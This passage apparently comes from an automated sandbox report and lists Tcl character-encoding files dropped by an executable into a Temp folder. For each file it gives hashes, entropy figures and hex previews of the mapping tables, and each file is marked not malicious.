File Type:	ASCII text
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	3.2349228762697972
Encrypted:	false
SSDEEP:	24:dTUmJvRju3ShVbsZiAMiZyb7P4UP/SlTPkyTtZVc:dgmOEVIwAMiw/PTqFPkypXc
MD5:	D30094CAEFA5C4A332159829C6CB7FEC
SHA1:	50FDA6C70A133CB64CF38AA4B2F313B54D2FD955
SHA-256:	C40CA014B88F97AE62AE1A816C5963B1ED432A77D84D89C3A764BA15C8A23708
SHA-512:	6EDD6912053D810D1E2B0698494D26E119EF1BF3FABC2FBFBA44551792800FA0CF163773E4F37F908C2DE41F05D6F17153656623A6D4681BE74EB253D9163422
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-16, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A001040105014120AC201E016000A7016100A9021800AB017900AD017A017B.00B000B1010C0142017D201D00B600B7017E010D021900BB015201530178017C.00C000C100C2010200C4010600C600C700C800C900CA00CB00CC00CD00CE00CF.0110014300D200D300D4015000D6015A017000D900DA00DB00DC0118021A00DF.00E000E100E2010300E4010700E600E700E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-2.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	3.269412550127009
Encrypted:	false
SSDEEP:	24:UTUmJvRju3ShVbsZiAMiZyb7P4UPPssm0O4yT2H:UgmOEVIwAMiw/PTPss5tyT2H
MD5:	69FCA2E8F0FD9B39CDD908348BD2985E
SHA1:	FF62EB5710FDE11074A87DAEE9229BCF7F66D7A0
SHA-256:	0E0732480338A229CC3AD4CDDE09021A0A81902DC6EDFB5F12203E2AFF44668F
SHA-512:	46A7899D17810D2E0FF812078D91F29BF2BB8770F09A02367CF8361229F424FC9B06EAC8E3756491612972917463B6F27DB3D897AFAE8DB5F159D45975D9CBD8
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-2, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A0010402D8014100A4013D015A00A700A80160015E0164017900AD017D017B.00B0010502DB014200B4013E015B02C700B80161015F0165017A02DD017E017C.015400C100C2010200C40139010600C7010C00C9011800CB011A00CD00CE010E.01100143014700D300D4015000D600D70158016E00DA017000DC00DD016200DF.015500E100E2010300E4013A010700E7010D

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-3.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	3.178020305301999
Encrypted:	false
SSDEEP:	24:tTUmJvRju3ShVbsZiAMiZyb7P4UPp2g4kBTvSMkFtP0:tgmOEVIwAMiw/PTj4kBTvSDP0
MD5:	5685992A24D85E93BD8EA62755E327BA
SHA1:	B0BEBEDEC53FFB894D9FB0D57F25AB2A459B6DD5
SHA-256:	73342C27CF55F625D3DB90C5FC8E7340FFDF85A51872DBFB1D0A8CB1E43EC5DA
SHA-512:	E88ED02435026CA9B8A23073F61031F3A75C4B2CD8D2FC2B598F924ADF34B268AB16909120F1D96B794BDBC484C764FDE83B63C9FB122279AC5242D57030AF3A
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-3, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A0012602D800A300A40000012400A700A80130015E011E013400AD0000017B.00B0012700B200B300B400B5012500B700B80131015F011F013500BD0000017C.00C000C100C2000000C4010A010800C700C800C900CA00CB00CC00CD00CE00CF.000000D100D200D300D4012000D600D7011C00D900DA00DB00DC016C015C00DF.00E000E100E2000000E4010B010900E700E8

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-4.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	3.2703067063488724
Encrypted:	false
SSDEEP:	24:KTUmJvRju3ShVbsZiAMiZyb7P4UP04xsD/njwKyjhJ:KgmOEVIwAMiw/PT06s3fylJ
MD5:	07576E85AFDB2816BBCFFF80E2A12747
SHA1:	CC1C2E6C35B005C17EB7B1A3D744983A86A75736
SHA-256:	17745BDD299779E91D41DB0CEE26CDC7132DA3666907A94210B591CED5A55ADB
SHA-512:	309EEF25EE991E3321A57D2CEE139C9C3E7C8B3D9408664AAFE9BA34E28EF5FB8167481F3C5CAD0557AE55249E47016CA3A6AC19857D76EFB58D0CDAC428F600
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-4, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A001040138015600A40128013B00A700A8016001120122016600AD017D00AF.00B0010502DB015700B40129013C02C700B80161011301230167014A017E014B.010000C100C200C300C400C500C6012E010C00C9011800CB011600CD00CE012A.01100145014C013600D400D500D600D700D8017200DA00DB00DC0168016A00DF.010100E100E200E300E400E500E6012F010D

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-5.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	3.2716690950473573
Encrypted:	false
SSDEEP:	24:zTUmJvRju3ShVbsZiAMiZyb7P4UPNXe+SAJlM9aHe3cmy+:zgmOEVIwAMiw/PTNp5+smy+
MD5:	67577E6720013EEF73923D3F050FBFA1
SHA1:	F9F64BB6014068E2C0737186C694B8101DD9575E
SHA-256:	BC5ED164D15321404BBDCAD0D647C322FFAB1659462182DBD3945439D9ECBAE7
SHA-512:	B584DB1BD5BE97CCFCA2F71E765DEC66CF2ABE18356C911894C988B2238E14074748C71074E0633C7CA50733E189D937160A35438C720DB2243CBC3566F52629
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-5, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A0040104020403040404050406040704080409040A040B040C00AD040E040F.0410041104120413041404150416041704180419041A041B041C041D041E041F.0420042104220423042404250426042704280429042A042B042C042D042E042F.0430043104320433043404350436043704380439043A043B043C043D043E043F.044004410442044304440445044604470448

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-6.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	2.9147595181616284
Encrypted:	false
SSDEEP:	24:YTUmJvRju3ShVbsZiAMiZyb7P4UPSIZjyco/rs:YgmOEVIwAMiw/PTBsBrs
MD5:	49DEC951C7A7041314DF23FE26C9B300
SHA1:	B810426354D857718CC841D424DA070EFB9F144F
SHA-256:	F502E07AE3F19CCDC31E434049CFC733DD5DF85487C0160B0331E40241AD0274
SHA-512:	CB5D8C5E807A72F35AD4E7DA80882F348D70052169A7ED5BB585152C2BF628177A2138BD0A982A398A8DF373E1D3E145AD1F6C52485DE57ECBE5A7ED33E13776
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-6, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A000000000000000A40000000000000000000000000000060C00AD00000000.00000000000000000000000000000000000000000000061B000000000000061F.0000062106220623062406250626062706280629062A062B062C062D062E062F.0630063106320633063406350636063706380639063A00000000000000000000.064006410642064306440645064606470648

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-7.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	3.2933089629252037
Encrypted:	false
SSDEEP:	24:TMyTUmJvRju3ShVbsZiAMiZyb7P4UP1mKUQQSqJWeIDmq:TlgmOEVIwAMiw/PTkKJQSqJWeI1
MD5:	0AF65F8F07F623FA38E2D732400D95CF
SHA1:	D2903B32FEA225F3FB9239E622390A078C8A8FA6
SHA-256:	8FEC7631A69FCF018569EBADB05771D892678790A08E63C05E0007C9910D58A8
SHA-512:	EF03237A030C54E0E20DBA7ED724580C513490B9B3B043C1E885638E7BCE21415CE56C3902EA39689365B12E44194C6BF868C4D9BCBCA8FDC334BE77DA46E24D
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-7, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A02018201900A30000000000A600A700A800A9000000AB00AC00AD00002015.00B000B100B200B303840385038600B703880389038A00BB038C00BD038E038F.0390039103920393039403950396039703980399039A039B039C039D039E039F.03A003A1000003A303A403A503A603A703A803A903AA03AB03AC03AD03AE03AF.03B003B103B203B303B403B503B603B703B8

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-8.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	2.9730608214144323
Encrypted:	false
SSDEEP:	24:uTUmJvRju3ShVbsZiAMiZyb7P4UPtePly0b:ugmOEVIwAMiw/PTtw
MD5:	45E35EFF7ED2B2DF0B5694A2B639FE1E
SHA1:	4EA5EC5331541EDE65A9CF601F5418FD4B6CFCBC
SHA-256:	E1D207917AA3483D9110E24A0CC0CD1E0E5843C8BFC901CFEE7A6D872DD945A9
SHA-512:	527283C9EFF2C1B21FAE716F5DFB938D8294B22938C76A73D88135312FA01B5C3DF288461CCE8B692928B334A28A7D29319F9F48733174C898F41BD1BEB8E862
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-8, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A0000000A200A300A400A500A600A700A800A900D700AB00AC00AD00AE00AF.00B000B100B200B300B400B500B600B700B800B900F700BB00BC00BD00BE0000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000002017.05D005D105D205D305D405D505D605D705D8

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-9.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	3.1865263857127375
Encrypted:	false
SSDEEP:	24:XTUmJvRju3ShVbsZiAMiZyb7P4UPvvPNNAkKMH+tZL/M:XgmOEVIwAMiw/PTvokKzR0
MD5:	675C89ECD212C8524B1875095D78A5AF
SHA1:	F585C70A5589DE39558DAC016743FF85E0C5F032
SHA-256:	1CDCF510C38464E5284EDCFAEC334E3FC516236C1CA3B9AB91CA878C23866914
SHA-512:	E620657C5F521A101B6FF7B5FD9A7F0DDD560166BA109D20E91F2E828F81697F897DFA136533C0D6F24A9861E92F34C0CC0FA590F344713C089157F8AC3ECFE2
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-9, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A000A100A200A300A400A500A600A700A800A900AA00AB00AC00AD00AE00AF.00B000B100B200B300B400B500B600B700B800B900BA00BB00BC00BD00BE00BF.00C000C100C200C300C400C500C600C700C800C900CA00CB00CC00CD00CE00CF.011E00D100D200D300D400D500D600D700D800D900DA00DB00DC0130015E00DF.00E000E100E200E300E400E500E600E700E8

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\jis0201.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	3.1984111069807395
Encrypted:	false
SSDEEP:	24:zBTUmJvRju3ShVbsZiAMiZyb7PN8pUPnfk5JM0RHFj:zBgmOEVIwAMiw/PNPQPFj
MD5:	0DCB64ACBB4B518CC20F4E196E04692C
SHA1:	7AEB708C89C178FB4D5611C245EA1A7CF66ADF3A
SHA-256:	480F61D0E1A75DEE59BF9A66DE0BB78FAAE4E87FD6317F93480412123277D442
SHA-512:	4AFA210763DE9742626886D7D281AC15169CDC7A31D185F48D105190CA247AA014FB8F281AFCB4A0C31D2D55EE7D907B6A8E51FC4BEEDB9DB8C484E88CAA78A9
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: jis0201, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D203E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000FF61FF62FF63FF64FF65FF66FF67FF68FF69FF6AFF6BFF6CFF6DFF6EFF6F.FF70FF71FF72FF73FF74FF75FF76FF77FF78FF79FF7AFF7BFF7CFF7DFF7EFF7F.FF80FF81FF82FF83FF84FF85FF86FF87FF88FF89FF8AFF8BFF8CFF8DFF8EFF8F.FF90FF91FF92FF93FF94FF95FF96FF97FF98FF99FF9AFF9BFF9CFF9DFF9EFF9F.00000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\jis0208.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	80453
Entropy (8bit):	2.274731552146978
Encrypted:	false
SSDEEP:	384:R7Cyeug/RAEo7umlshyGYknyRXglMVw9bq7bYI45zh2cvA3FXwhZ1BrUc2C5oS5u:RgZJo7uNhbyO1ZiEXPcXwhZbrUPkBso2
MD5:	F35938AC582E460A14646D2C93F1A725
SHA1:	A922ACACE0C1A4A7DDC92FE5DD7A116D30A3686B
SHA-256:	118EA160EF29E11B46DEC57AF2C44405934DD8A7C49D2BC8B90C94E8BAA6138B
SHA-512:	D27CD9C9D67370C288036AACA5999314231F7070152FF7EEF1F3379E748EF9047001430D391B61C281FF69AB4F709D47F8FF5390873B5DEFD105371AB8FB8872
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: jis0208, double-byte.D.2129 0 77.21.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000300030013002FF0CFF0E30FBFF1AFF1BFF1FFF01309B309C00B4FF4000A8.FF3EFFE3FF3F30FD30FE309D309E30034EDD30053006300730FC20152010FF0F.FF3C301C2016FF5C2026202520182019201C201DFF08FF0930143015FF3BFF3D.FF5BFF5D30083009300A300B300C300D300E300F30103011FF0B221200B100D7.00F7FF1D2260FF1CFF1E22662267221E22342642264000B0203220332103FFE5.FF0400A200A3FF05FF03FF06FF0AFF2000A72606260525CB25CF25CE25C70000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\jis0212.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	70974
Entropy (8bit):	2.2631380488363284
Encrypted:	false
SSDEEP:	768:WmU4+qNPpEzjKgGWJACVeCssX2Qt5E2+G7PBIv:LU4+qNaCgGW7VGK2o+0qv
MD5:	F518436AC485F5DC723518D7872038E0
SHA1:	15013478760463A0BCE3577B4D646ECDB07632B5
SHA-256:	24A9D379FDA39F2BCC0580CA3E0BD2E99AE279AF5E2841C9E7DBE7F931D19CC0
SHA-512:	2325705D4772A10CD81082A035BEAC85E6C64C7CCFA5981955F0B85CAF9A95D8A0820092957822A05C2E8E773F2089035ED5E76BF3FAF19B0E7E6AED7B4214D8
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: jis0212, double-byte.D.2244 0 68.22.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.00000000000000000000000000000000000000000000000000000000000002D8.02C700B802D902DD00AF02DB02DA007E03840385000000000000000000000000.0000000000A100A600BF00000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000BA00AA00A900AE2122.00A4211600000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\koi8-r.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.463428231669408
Encrypted:	false
SSDEEP:	24:KcJ5mTUmJvRju3ShVbsZiAMiZyb7PcSzm1XvRS3YcmchJQ3MAxSy:KmmgmOEVIwAMiw/Ptz8gBmRcAx5
MD5:	E66D42CB71669CA0FFBCDC75F6292832
SHA1:	366C137C02E069B1A93FBB5D64B9120EA6E9AD1F
SHA-256:	7142B1120B993D6091197574090FE04BE3EA64FFC3AD5A167A4B5E0B42C9F062
SHA-512:	6FBF7AF0302B4AA7EF925EFED7235E946EDA8B628AA204A8BBB0A3D1CB8C79DD37D9DD92A276AD14B55776FEBB3B55CF5881AC4013F95ED4E618E3B49771E8A5
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: koi8-r, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.25002502250C251025142518251C2524252C2534253C258025842588258C2590.259125922593232025A02219221A22482264226500A0232100B000B200B700F7.25502551255204512553255425552556255725582559255A255B255C255D255E.255F25602561040125622563256425652566256725682569256A256B256C00A9.044E0430043104460434043504440433044504380439043A043B043C043D043E.043F044F044004410442044304360432044C044B04370448044D04490447044A.042E04100411042604140415042404130425041

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\koi8-u.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.439504497428066
Encrypted:	false
SSDEEP:	24:K+TUmJvRju3ShVbsZiAMiZyb7PcSzmn3gXDRS3YcmchJQ3MAxSy:K+gmOEVIwAMiw/Ptz0KgBmRcAx5
MD5:	D722EFEA128BE671A8FDA45ED7ADC586
SHA1:	DA9E67F64EC4F6A74C60CB650D5A12C4430DCFF7
SHA-256:	BBB729B906F5FC3B7EE6694B208B206D19A9D4DC571E235B9C94DCDD4A323A2A
SHA-512:	FDF183C1A0D9109E21F7EEBC5996318AEDED3F87319A980C4E96BFE1D43593BDB693D181744C5C7E391A849783E3594234060A9F76116DE56F9592EF95979E63
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: koi8-u, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.25002502250C251025142518251C2524252C2534253C258025842588258C2590.259125922593232025A02219221A22482264226500A0232100B000B200B700F7.25502551255204510454255404560457255725582559255A255B0491255D255E.255F25602561040104032563040604072566256725682569256A0490256C00A9.044E0430043104460434043504440433044504380439043A043B043C043D043E.043F044F044004410442044304360432044C044B04370448044D04490447044A.042E04100411042604140415042404130425041

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\ksc5601.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92877
Entropy (8bit):	2.32911747373862
Encrypted:	false
SSDEEP:	768:XtWS2ymX62EztZ1Oyxk1uGtQPUNg0q+6XVfEFh:XtWnzEn1HxRQQPV0Eeh
MD5:	599CEA614F5C5D01CDFA433B184AA904
SHA1:	C2FFA427457B4931E5A92326F251CD3D671059B0
SHA-256:	0F8B530AD0DECBF8DD81DA8291B8B0F976C643B5A292DB84680B31ECFBE5D00A
SHA-512:	43D24B719843A21E3E1EDDFC3607B1B198542306C2EC8D621188CD39BA913D23678D39D12D8370CC1CE12828661AF0A5F14AD2B2BF99F62387C5E3E365BA1E75
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: ksc5601, double-byte.D.233F 0 89.21.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.000030003001300200B72025202600A8300300AD20152225FF3C223C20182019.201C201D3014301530083009300A300B300C300D300E300F3010301100B100D7.00F7226022642265221E223400B0203220332103212BFFE0FFE1FFE526422640.222022A52312220222072261225200A7203B2606260525CB25CF25CE25C725C6.25A125A025B325B225BD25BC219221902191219321943013226A226B221A223D.221D2235222B222C2208220B2286228722822283222A222922272228FFE20000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macCentEuro.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	3.3601842107710365
Encrypted:	false
SSDEEP:	24:8jTUmJvRju3ShVbsZiAMiZyb7P4ZVPJS82WcVDX1MPEd4RPMppJ8K:8jgmOEVIwAMiw/PsVoy24VMppiK
MD5:	CADFBF5A4C7CAD984294284D643E9CA3
SHA1:	16B51D017001688A32CB7B15DE6E7A49F28B76FD
SHA-256:	8F3089F4B2CA47B7AC4CB78375B2BFAC01268113A7C67D020F8B5B7F2C25BBDA
SHA-512:	3941ACA62CF59BF6857BA9C300B4236F18690DE1213BB7FCFA0EC87DCD71152849F1DEAFB470CA4BC2ACC2C0C13D7FD57661BFC053960ADD7570DE365AE7E63C
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macCentEuro, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.00C40100010100C9010400D600DC00E10105010C00E4010D0106010700E90179.017A010E00ED010F01120113011600F3011700F400F600F500FA011A011B00FC.202000B0011800A300A7202200B600DF00AE00A92122011900A822600123012E.012F012A22642265012B0136220222110142013B013C013D013E0139013A0145.0146014300AC221A01440147220600AB00BB202600A00148015000D50151014C.20132014201C201D2018201900F725CA014D0154015501582039203A01590156.01570160201A201E0161015A015B00C101

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macCroatian.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	3.3293096097500965
Encrypted:	false
SSDEEP:	24:8ULyTUmJvRju3ShVbsZiAMiZyb7P4SNMdNxOZwl+KR8DklJyseQWkv:8ULygmOEVIwAMiw/P34+KR8DklEswm
MD5:	F13D479550D4967A0BC76A60C89F1461
SHA1:	63F44E818284384DE07AB0D8B0CD6F7EBFE09AB9
SHA-256:	8D0B6A882B742C5CCE938241328606C111DDA0CB83334EBEDCDA17605F3641AE
SHA-512:	80AB9DCAAC1A496FD2CA6BE9959FE2DE201F504D8A58D114F2FF5D1F6AAD507F052B87D29D3EBA69093C3D965CC4C113C9EA6DB8EEBB67BD620ADF860CA2CC35
Malicious:	false
Reputation:	unknown
